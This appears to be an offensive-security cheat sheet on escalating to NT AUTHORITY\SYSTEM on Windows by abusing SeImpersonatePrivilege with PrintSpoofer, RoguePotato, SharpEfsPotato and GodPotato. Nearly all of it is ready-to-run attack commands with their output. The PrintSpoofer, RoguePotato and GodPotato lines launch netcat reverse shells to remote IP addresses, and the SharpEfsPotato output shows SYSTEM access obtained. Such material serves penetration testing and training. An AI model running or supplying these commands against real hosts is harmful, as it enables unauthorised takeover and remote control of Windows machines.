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{% hint style="warning" %} JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. {% endhint %}

Quick Demo

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------   

[+] Found privilege: SeImpersonatePrivilege                                        

[+] Named pipe listening...                                                        

[+] CreateProcessAsUser() OK                                                       

NULL

RoguePotato

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

SharpEfsPotato

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

GodPotato

GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"